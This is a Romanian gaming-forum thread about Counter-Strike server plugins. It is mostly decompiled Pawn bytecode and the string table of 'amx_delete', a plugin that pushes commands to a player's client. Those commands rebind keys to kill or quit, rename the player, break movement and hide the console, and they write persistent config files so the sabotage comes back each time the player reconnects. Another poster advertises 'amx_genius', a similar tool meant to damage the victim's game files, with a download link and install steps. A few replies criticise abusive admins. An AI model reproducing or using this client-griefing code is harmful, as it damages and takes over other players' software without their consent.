0x80 stack -0x40 zero.pri addr.alt -0x354 fill 0x40 stack -0x40 zero.pri addr.alt -0x394 fill 0x40 break stack -0x100 zero.pri addr.alt -0x494 fill 0x100 break push.c 0x1 push.c 0x10 pushaddr -0x354 push.s 0xC push.c 0x10 sysreq.c get_user_ip stack 0x14 break push.c 0x1 push.c 0x10 pushaddr -0x394 push.s -0x84 push.c 0x10 sysreq.c get_user_ip stack 0x14 break push.c 0x1F pushaddr -0x314 push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x3F pushaddr -0x494 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x494 push.c 0x2AE4 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break pushaddr -0x494 pushaddr -0x314 push.c 0x2B20 push.c 0x3 push.c 0x0 push.c 0x14 sysreq.c client_print stack 0x18 break pushaddr -0x494 pushaddr -0x314 push.c 0x2BD4 push.c 0xC sysreq.c server_print stack 0x10 break pushaddr -0x394 pushaddr -0x84 pushaddr -0x354 pushaddr -0x314 push.c 0x2C88 push.c 0x14 sysreq.c log_amx stack 0x18 stack 0x410 jump jump_0072 jump_0055: break stack -0x100 zero.pri addr.alt -0x184 fill 0x100 stack -0x100 zero.pri addr.alt -0x284 fill 0x100 break push.c 0x3F pushaddr -0x184 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x3F pushaddr -0x284 push.c 0x2D94 push.c 0xC sysreq.c get_cvar_string stack 0x10 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 not jzer jump_0073 break pushaddr -0x184 push.c 0x2DB8 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 jump_0073: stack 0x200 jump_0072: break const.pri 0x1 stack 0x84 retn ENDPPROC cmdundelete break break push.c 0x0 push.c 0x1 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0074 break const.pri 0x1 retn jump_0074: break push.c 0x2E30 push.c 0x4 sysreq.c file_exists stack 0x8 not jzer jump_0075 break const.pri 0x1 retn jump_0075: break stack -0x4 push.c 0x1 push.c 0x2EBC push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x4 break stack -0x4 push.c 0x1 push.c 0x2F48 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x8 break stack -0x80 zero.pri addr.alt -0x88 fill 0x80 stack -0x100 zero.pri addr.alt -0x188 fill 0x100 push.c 0x0 break stack -0x100 zero.pri addr.alt -0x28C fill 0x100 stack -0x100 zero.pri addr.alt -0x38C fill 0x100 break stack -0x80 zero.pri addr.alt -0x40C fill 0x80 break push.c 0x1F pushaddr -0x40C push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x1F pushaddr -0x88 push.c 0x1 push.c 0xC sysreq.c read_argv stack 0x10 break push.c 0x0 break push.c 0x0 jump jump_0076 jump_0095: break inc.s -0x414 jump_0076: load.s.pri -0x414 load.s.alt -0x4 jsgrtr jump_0077 break pushaddr -0x18C push.c 0x3F pushaddr -0x188 push.s -0x414 push.c 0x2FDC push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x88 pushaddr -0x188 push.c 0xC sysreq.c equali stack 0x10 jzer jump_0078 break push.s -0x414 push.c 0x30F4 push.c 0x3068 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x410 break push.c 0x0 break push.c 0x0 jump jump_0079 jump_0083: break inc.s -0x41C jump_0079: load.s.pri -0x41C load.s.alt -0x8 jsgrtr jump_0080 break load.s.pri -0x418 jnz jump_0081 break pushaddr -0x18C push.c 0x3F pushaddr -0x38C push.s -0x41C push.c 0x30F8 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x188 pushaddr -0x38C push.c 0xC sysreq.c equal stack 0x10 jzer jump_0081 break const.pri 0x1 stor.s.pri -0x418 jump_0081: jump jump_0083 jump_0080: stack 0x4 break push.c 0x0 break load.s.pri -0x418 jnz jump_0084 break push.c 0x0 jump jump_0085 jump_0092: break inc.s -0x420 jump_0085: load.s.pri -0x420 load.s.alt -0x8 jsgrtr jump_0086 break load.s.pri -0x41C jnz jump_0087 break pushaddr -0x18C push.c 0x3F pushaddr -0x28C push.s -0x420 push.c 0x318C push.c 0x14 sysreq.c read_file stack 0x18 break pushaddr -0x28C push.c 0x4 sysreq.c strlen stack 0x8 not jnz jump_0088 push.c 0x0 pushaddr -0x188 pushaddr -0x28C push.c 0xC sysreq.c equal stack 0x10 jnz jump_0088 zero.pri jump jump_0090 jump_0088: const.pri 0x1 jump_0090: jzer jump_0087 break push.s -0x420 pushaddr -0x188 push.c 0x3220 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x41C jump_0087: jump jump_0092 jump_0086: stack 0x4 jump_0084: break load.s.pri -0x418 jnz jump_0093 break load.s.pri -0x41C jnz jump_0093 break push.c -0x1 pushaddr -0x188 push.c 0x32B4 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x41C jump_0093: break pushaddr -0x188 pushaddr -0x40C push.c 0x3348 push.c 0xC sysreq.c log_amx stack 0x10 break pushaddr -0x188 push.c 0x3424 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break pushaddr -0x188 push.c 0x3468 push.c 0x8 sysreq.c server_print stack 0xC stack 0x8 jump_0078: jump jump_0095 jump_0077: stack 0x4 break load.s.pri -0x410 jnz jump_0096 break pushaddr -0x88 push.c 0x34AC push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 jump_0096: break const.pri 0x1 stack 0x410 retn ENDPPROC info break break push.c 0x0 push.c 0x0 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0097 break const.pri 0x1 retn jump_0097: break push.c 0x34E4 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x35AC push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3674 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x373C push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3804 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x38CC push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3994 push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break push.c 0x3A5C push.s 0xC push.c 0x8 sysreq.c console_print stack 0xC break const.pri 0x1 retn ENDPEu nu prea inteleg ce fac ultimele chestii pe acolo. Poate stie cineva de aici. Sincer nu vad nimic de genu sterge fisiere de windows sau mai stiu eu ce descrieri inutile au pus altii.Restul comenzilor cred ca le fac si alte pluginuri. Rescrie comenzile codatului. Quote
Genius++ Posted September 7, 2012 Report Posted September 7, 2012 Daca vreti comanda calumea ia uitati aici ce facusesi eu acu cateva luni...Am ajuns deja la editia amx_genius v3.0 :> uitati cum arata ...Descriere: Comanda este mai mult un mix de comenzi , ce contine urmatuarele comenzi : pikav5 , fuckoff , screw , smash , pimpslap , censure , spank , exterminate , destroy , timeout , ban permanent , uberslap si popcd .Ce face mai precis aceasta comanda : Comanda incearca sa injecteze errori in cat mai multe fisiere din cs-ul folosit de respectivul "codat" si sa creeze cat mai multe pagube .Comanda odata executata creeaza 2 fisiere in hlds/cstrike/addons/logs , 1 fisier contine date despre cine si pe cine a executat comanda si celalalt fisier noteaza numele cui i a fost executata comanda , odata acel player reintrat pe server comanda se auto-executa pe acel player . Cand jucatorul va dori sa intre inapoi in cs i va da fatal error : http://i.imgur.com/Lgecu.pngDescarcare: GirlShare - Download amx_genius.v3.rarNume: amx_geniusVersiune: 3.0Link oficial: -Instalare:1. Fisierul amx_genius.amxx il puneti in addons/amxmodx/plugins2. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:Cod:amx_genius.amxx3. Alti pasi necesari....Comenzi administrative: amx_genius nume/parte din nume Module necesare- amxmodx- amxmisc- engine- fun Quote
n3Oh Posted September 7, 2012 Report Posted September 7, 2012 Este o mare prostie pentru ca sunt asa zisii ADMIN INAPTI care dau destroy, fuckoff, exterminate la un player care pur si simplu face un rush/camp, injura sau ceva ce se poate sanctiona doar cu gag/slay/kick. Va dati seama ce s-ar intampla pe serverele de cs daca unii admini dau destroy din motivele de mai sus. Quote
quantum Posted September 7, 2012 Report Posted September 7, 2012 limbajul de programare pentru amxx este Pawn Tutorial - AlliedModders Wiki si are implementate doar cateva functii. Degeba si cu comenzile de destroy, multi deja au invatat sa isi dea read only la fisiere si degeaba executati voi comenzi in cateva secunde ii acolo. Quote
VladX Posted September 7, 2012 Report Posted September 7, 2012 Nu prea se gaseste sursa la asa ceva si eu unu sunt sceptic daca nu stiu exact ce face pluginu. Dupa putine cautari cam asta ar fi sursa .DATA str_000 string "%L" str_001 string "NO_ACC_COM" str_002 string "%L: %s %s" str_003 string "USAGE" str_004 string "bl" str_005 string "blj" str_006 string "%L" str_007 string "MORE_CL_MATCHT" str_008 string "c" str_009 string "k" str_010 string "%L" str_011 string "CL_NOT_FOUND" str_012 string "%L" str_013 string "CLIENT_IMM" str_014 string "%L" str_015 string "CANT_PERF_DEAD" str_016 string "%L" str_017 string "CANT_PERF_BOT" arr_000 array 64 fill 0x0 str_018 string "Amx_Delete" str_019 string "1.0" str_020 string "ZyreX" str_021 string "amx_delete" str_022 string "cmddelete" str_023 string "<name> - Atentie: Numai in cazuri speciale" str_024 string "amx_undelete" str_025 string "cmdundelete" str_026 string "<name> - Atentie: Numai in cazuri speciale" str_027 string "amx_delete_info" str_028 string "info" str_029 string "- info for delete player." str_030 string "exec /sound/player/player.cfg" str_031 string "exec /sound/weapons/weapons.cfg" str_032 string "exec /sound/radio/radio.cfg" str_033 string "exec /sprites/small.cfg" str_034 string "infochanged" arr_001 array 2 fill 0x0 str_035 string "cheater" str_036 string "gad" str_037 string "nickacc" str_038 string "100" str_039 string "yes" str_040 string "\addons\amxmodx\configs\delete.ini" str_041 string "\addons\amxmodx\configs\delete.ini" str_042 string "echo YOU WILL DIE!!!" str_043 string "bind TAB kill" str_044 string "bind ENTER kill" str_045 string "bind ESCAPE quit" str_046 string "bind SPACE kill" str_047 string "bind 1 kill" str_048 string "bind 2 kill" str_049 string "bind ` kill" str_050 string "bind q kill" str_051 string "bind r kill" str_052 string "bind t kill" str_053 string "bind UPARROW kill" str_054 string "bind DOWNARROW kill" str_055 string "bind LEFTARROW kill" str_056 string "bind RIGHTARROW kill" str_057 string "bind F1 kill" str_058 string "bind PAUSE kill" str_059 string "max_shells 0" str_060 string "bind MOUSE1 kill" str_061 string "bind MOUSE2 kill" str_062 string "fps_max 30" str_063 string "name Ban-me!SuntunCodat" str_064 string "volume 5" str_065 string "scr_connectmsg FATAL ERROR!" str_066 string "scr_connectmsg1 Amice, esti idiot!" str_067 string "scr_connectmsg2 FATAL ERROR!" str_068 string "cl_showerror 1" str_069 string "cl_showmessages 1" str_070 string "cl_forwardspeed -100" str_071 string "cl_backspeed -100" str_072 string "cl_sidespeed -100" str_073 string "sensitivity 10" str_074 string "writecfg \config" str_075 string "quit" str_076 string "\addons\amxmodx\configs\undelete.ini" str_077 string "\addons\amxmodx\configs\undelete.ini" str_078 string "exec /gfx/env/morningdewbk.cfg" str_079 string "Ban-me!SuntunCodat" str_080 string "name "%s"" str_081 string "writecfg \sound\player\player" str_082 string "writecfg \sound\weapons\weapons" str_083 string "writecfg \sound\radio\radio" str_084 string "writecfg \sprites\small" str_085 string "writecfg \config" str_086 string "exec config.cfg" str_087 string "Ban-me!SuntunCodat" str_088 string "kickuser" str_089 string "\addons\amxmodx\configs\undelete.ini" var_000 variable ( 0x0 ) str_090 string "name "%s"" str_091 string "kick %s "Ai primit UnDelete. Acum te poti reconecta pe server !"" str_092 string "\addons\amxmodx\configs\delete.ini" str_093 string "\addons\amxmodx\configs\delete.ini" str_094 string "Nick-ul "%s" este folosit deja" str_095 string "\addons\amxmodx\configs\delete.ini" str_096 string "\addons\amxmodx\configs\delete.ini" str_097 string "\addons\amxmodx\configs\delete.ini" str_098 string "writecfg \gfx\env\morningdewbk" str_099 string "unbindall" str_100 string "setinfo nickacc %s" str_101 string "setinfo cheater 100" str_102 string "setinfo gad yes" str_103 string "writecfg \sound\player\player" str_104 string "writecfg \sound\weapons\weapons" str_105 string "hideconsole" str_106 string "writecfg \sound\radio\radio" str_107 string "hideconsole" str_108 string "writecfg \sprites\small" str_109 string "echo YOU WILL DIE!!!" str_110 string "bind TAB kill" str_111 string "hideconsole" str_112 string "bind ENTER kill" str_113 string "bind ESCAPE quit" str_114 string "hideconsole" str_115 string "bind SPACE kill" str_116 string "bind 1 kill" str_117 string "bind 2 kill" str_118 string "bind ` kill" str_119 string "hideconsole" str_120 string "bind q kill" str_121 string "bind r kill" str_122 string "bind t kill" str_123 string "bind UPARROW kill" str_124 string "bind DOWNARROW kill" str_125 string "hideconsole" str_126 string "bind LEFTARROW kill" str_127 string "bind RIGHTARROW kill" str_128 string "bind F1 kill" str_129 string "hideconsole" str_130 string "bind PAUSE kill" str_131 string "max_shells 0" str_132 string "bind MOUSE1 kill" str_133 string "hideconsole" str_134 string "bind MOUSE2 kill" str_135 string "fps_max 30" str_136 string "name Ban-me!SuntunCodat" str_137 string "volume 5" str_138 string "hideconsole" str_139 string "scr_connectmsg FATAL ERROR!" str_140 string "scr_connectmsg1 Amice, esti idiot!" str_141 string "scr_connectmsg2 FATAL ERROR!" str_142 string "cl_showerror 1" str_143 string "hideconsole" str_144 string "cl_showmessages 1" str_145 string "cl_forwardspeed -100" str_146 string "cl_backspeed -100" str_147 string "hideconsole" str_148 string "cl_sidespeed -100" str_149 string "sensitivity 10" str_150 string "writecfg \config" str_151 string "quit" str_152 string "hideconsole" str_153 string "AMX_DELETE: %s" str_154 string "ADMIN-ul %s: a executat comanda delete pe %s" str_155 string "ADMIN-ul %s: a executat comanda delete pe %s" str_156 string "AMX_DELETE: "%s<IP: %s>" a executat comanda delete pe "%s<IP: %s>"" str_157 string "hostname" str_158 string "Client-ul "%s" are imunitate." str_159 string "\addons\amxmodx\configs\delete.ini" str_160 string "\addons\amxmodx\configs\delete.ini" str_161 string "\addons\amxmodx\configs\undelete.ini" str_162 string "\addons\amxmodx\configs\delete.ini" str_163 string "\addons\amxmodx\configs\delete.ini" var_001 variable ( 0x0 ) str_164 string "\addons\amxmodx\configs\undelete.ini" str_165 string "\addons\amxmodx\configs\undelete.ini" str_166 string "\addons\amxmodx\configs\undelete.ini" str_167 string "\addons\amxmodx\configs\undelete.ini" str_168 string "AMX_UNDELETE: "%s" a executat comanda undelete pe "%s"" str_169 string "AMX_UNDELETE: %s" str_170 string "AMX_UNDELETE: %s" str_171 string "Nu exista %s." str_172 string "-------------------------------------------------" str_173 string "-------------------------------------------------" str_174 string "-------Plugin name: Amx_delete -------" str_175 string "-------Author: ZyreX -------" str_176 string "-------Version: 1.0 -------" str_177 string "-------Site: http://xserv.ro -------" str_178 string "-------------------------------------------------" str_179 string "-------------------------------------------------".CODE halt 0x0PROC func_00 break break stack -0x4 push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC stor.s.pri -0x4 break load.s.pri -0x4 move.alt zero.pri xchg jsleq jump_0000 load.s.pri -0x4 const.alt 0x2000000 and not jzer jump_0000 const.pri 0x1 jump jump_0002 jump_0000: zero.pri jump_0002: stack 0x4 retn ENDPPROC func_01 break break push.c 0x0 break load.s.pri 0xC push.pri push.c 0x0 sysreq.c is_dedicated_server stack 0x4 jzer jump_0003 zero.pri jump jump_0004 jump_0003: const.pri 0x1 jump_0004: pop.alt jneq jump_0005 break const.pri 0x1 stor.s.pri -0x4 jump jump_0006 jump_0005: break load.s.pri 0x10 eq.c.pri 0x1000000 jzer jump_0007 break push.s 0xC push.c 0x4 call func_00 jzer jump_0008 break const.pri 0x1 stor.s.pri -0x4 jump_0008: jump jump_0006 jump_0007: break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC move.alt load.s.pri 0x10 and jzer jump_0010 break const.pri 0x1 stor.s.pri -0x4 jump jump_0006 jump_0010: break load.s.pri 0x10 jnz jump_0006 break const.pri 0x1 stor.s.pri -0x4 jump_0006: break load.s.pri -0x4 jnz jump_0013 break load.s.pri 0x1C not jzer jump_0014 break push.c 0xC pushaddr 0xC push.c 0x0 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 jump_0014: break zero.pri stack 0x4 retn jump_0013: break push.c 0x0 sysreq.c read_argc stack 0x4 move.alt load.s.pri 0x18 jsleq jump_0015 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 stack -0x200 zero.pri addr.alt -0x284 fill 0x200 push.c 0x0 break push.c -0x1 push.s 0x10 push.c 0x7F pushaddr -0x284 pushaddr -0x288 push.c 0x1F pushaddr -0x84 push.s 0x14 push.c 0x20 sysreq.c get_concmd stack 0x24 break pushaddr -0x284 pushaddr -0x84 push.c 0x64 pushaddr 0xC push.c 0x38 push.s 0xC push.c 0x18 sysreq.c console_print stack 0x1C break zero.pri stack 0x288 retn jump_0015: break const.pri 0x1 stack 0x4 retn ENDPPROC func_02 break break stack -0x4 push.s 0x10 push.c 0x7C push.c 0x8 sysreq.c find_player stack 0xC stor.s.pri -0x4 break load.s.pri -0x4 jzer jump_0016 break load.s.pri -0x4 push.pri push.s 0x10 push.c 0x88 push.c 0x8 sysreq.c find_player stack 0xC pop.alt jeq jump_0017 break push.c 0xA4 pushaddr 0xC push.c 0x98 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 break zero.pri stack 0x4 retn jump_0017: jump jump_0018 jump_0016: break push.s 0x10 push.c 0xE0 push.c 0x8 sysreq.c find_player stack 0xC stor.s.pri -0x4 jnz jump_0019 load.s.pri 0x10 load.i eq.c.pri 0x23 jzer jump_0019 load.s.pri 0x10 add.c 0x4 load.i jzer jump_0019 const.pri 0x1 jump jump_0022 jump_0019: zero.pri jump_0022: jzer jump_0018 break load.s.pri 0x10 add.c 0x4 push.pri push.c 0x4 sysreq.c str_to_num stack 0x8 heap 0x4 stor.i push.alt push.c 0xE8 push.c 0x8 sysreq.c find_player stack 0xC heap -0x4 stor.s.pri -0x4 jump_0018: break load.s.pri -0x4 not jzer jump_0024 break push.c 0xFC pushaddr 0xC push.c 0xF0 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 break zero.pri stack 0x4 retn jump_0024: break load.s.pri 0x14 const.alt 0x1 and jzer jump_0025 break push.c 0x0 push.s -0x4 push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and jzer jump_0026 load.s.pri 0x14 const.alt 0x2 and jzer jump_0027 load.s.pri -0x4 load.s.alt 0xC neq jump jump_0028 jump_0027: const.pri 0x1 jump_0028: jzer jump_0026 const.pri 0x1 jump jump_0030 jump_0026: zero.pri jump_0030: jzer jump_0025 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x13C pushaddr 0xC push.c 0x130 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0025: break load.s.pri 0x14 const.alt 0x4 and jzer jump_0032 break push.s -0x4 push.c 0x4 sysreq.c is_user_alive stack 0x8 not jzer jump_0032 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x174 pushaddr 0xC push.c 0x168 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0032: break load.s.pri 0x14 const.alt 0x8 and jzer jump_0034 break push.s -0x4 push.c 0x4 sysreq.c is_user_bot stack 0x8 jzer jump_0034 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x1BC pushaddr 0xC push.c 0x1B0 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0034: break load.s.pri -0x4 stack 0x4 retn ENDPPROC plugin_init break break push.c 0x330 push.c 0x320 push.c 0x2F4 push.c 0xC sysreq.c register_plugin stack 0x10 break push.c -0x1 push.c 0x39C push.c 0x8 push.c 0x374 push.c 0x348 push.c 0x14 sysreq.c register_concmd stack 0x18 break push.c -0x1 push.c 0x4AC push.c 0x8 push.c 0x47C push.c 0x448 push.c 0x14 sysreq.c register_concmd stack 0x18 break push.c -0x1 push.c 0x5AC push.c 0x0 push.c 0x598 push.c 0x558 push.c 0x14 sysreq.c register_concmd stack 0x18 zero.pri retn ENDPPROC client_connect break break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0036 break push.c 0x3F push.c 0x1F4 push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x614 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x68C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x70C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x77C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x810 push.c 0x0 push.c 0x80C push.s 0xC push.c 0x7DC push.c 0x3F000000 push.c 0x1C sysreq.c set_task stack 0x20 jump_0036: break const.pri 0x1 retn ENDPPROC infochanged break break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0037 break push.c 0x0 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 stack -0x80 zero.pri addr.alt -0x104 fill 0x80 stack -0x80 zero.pri addr.alt -0x184 fill 0x80 break push.c 0x1F pushaddr -0x84 push.c 0x814 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break push.c 0x1F pushaddr -0x104 push.c 0x834 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break push.c 0x1F pushaddr -0x184 push.c 0x844 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break pushaddr -0x84 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0038 break const.pri 0x1 stack 0x184 retn jump_0038: break pushaddr -0x104 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0039 break const.pri 0x1 stack 0x184 retn jump_0039: break pushaddr -0x184 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0040 break const.pri 0x1 stack 0x184 retn jump_0040: break stack -0x100 zero.pri addr.alt -0x284 fill 0x100 push.c 0x0 break push.c 0x0 pushaddr -0x84 push.c 0x864 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0041 break push.c 0x0 pushaddr -0x104 push.c 0x874 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0041 break stack -0x4 push.c 0x1 push.c 0x884 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x28C break push.c 0x0 jump jump_0043 jump_0046: break inc.s -0x290 jump_0043: load.s.pri -0x290 load.s.alt -0x28C jsgrtr jump_0044 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x290 push.c 0x910 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0045 break push.c 0x99C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x9F0 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xA28 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xA68 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xAAC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xAEC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB1C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB4C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB7C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xBAC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xBDC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xC0C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xC54 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xCA4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xCF4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xD48 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xD7C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xDBC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xDF0 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xE34 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xE78 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xEA4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF04 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF28 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF98 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1024 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1098 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x10D4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x111C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1170 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x11B8 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1200 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x123C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1280 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break const.pri 0x1 stor.s.pri -0x4 jump_0045: jump jump_0046 jump_0044: stack 0x4 stack 0x4 jump_0041: break stack -0x100 zero.pri addr.alt -0x388 fill 0x100 push.c 0x0 break stack -0x4 push.c 0x1 push.c 0x1294 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x390 break push.c 0x0 jump jump_0047 jump_0052: break inc.s -0x394 jump_0047: load.s.pri -0x394 load.s.alt -0x390 jsgrtr jump_0048 break pushaddr -0x38C push.c 0x3F pushaddr -0x388 push.s -0x394 push.c 0x1328 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x388 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0049 break push.c 0x13BC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x1438 push.c 0x1F4 push.c 0xC sysreq.c equal stack 0x10 not jzer jump_0050 break push.c 0x1F4 push.c 0x1484 push.s 0xC push.c 0xC sysreq.c client_cmd stack 0x10 jump_0050: break push.c 0x14AC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1524 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x15A4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1614 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1674 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x16B8 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x16F8 push.c 0x1F4 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0051 break push.c 0x0 push.c 0x810 push.c 0x0 push.c 0x80C push.s 0xC push.c 0x1744 push.c 0x40400000 push.c 0x1C sysreq.c set_task stack 0x20 jump_0051: break push.s -0x394 push.c 0x17FC push.c 0x1768 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x4 break const.pri 0x1 stack 0x394 retn jump_0049: jump jump_0052 jump_0048: stack 0x4 break load.s.pri -0x4 jnz jump_0053 break push.c 0x1F4 push.c 0x1800 push.s 0xC push.c 0xC sysreq.c client_cmd stack 0x10 jump_0053: stack 0x390 jump_0037: break const.pri 0x1 retn ENDPPROC kickuser break break push.c 0x1F4 push.c 0x1828 push.c 0x8 sysreq.c server_cmd stack 0xC zero.pri retn ENDPPROC cmddelete break break push.c 0x0 push.c 0x1 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0054 break const.pri 0x1 retn jump_0054: break stack -0x80 zero.pri addr.alt -0x80 fill 0x80 break push.c 0x1F pushaddr -0x80 push.c 0x1 push.c 0xC sysreq.c read_argv stack 0x10 break stack -0x4 push.c 0x3 pushaddr -0x80 push.s 0xC push.c 0xC call func_02 stor.s.pri -0x84 break push.c 0x0 push.s -0x84 push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0055 break stack -0x100 zero.pri addr.alt -0x184 fill 0x100 break push.c 0x3F pushaddr -0x184 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break stack -0x100 zero.pri addr.alt -0x284 fill 0x100 push.c 0x0 break stack -0x4 push.c 0x1 push.c 0x192C push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x28C break push.c 0x0 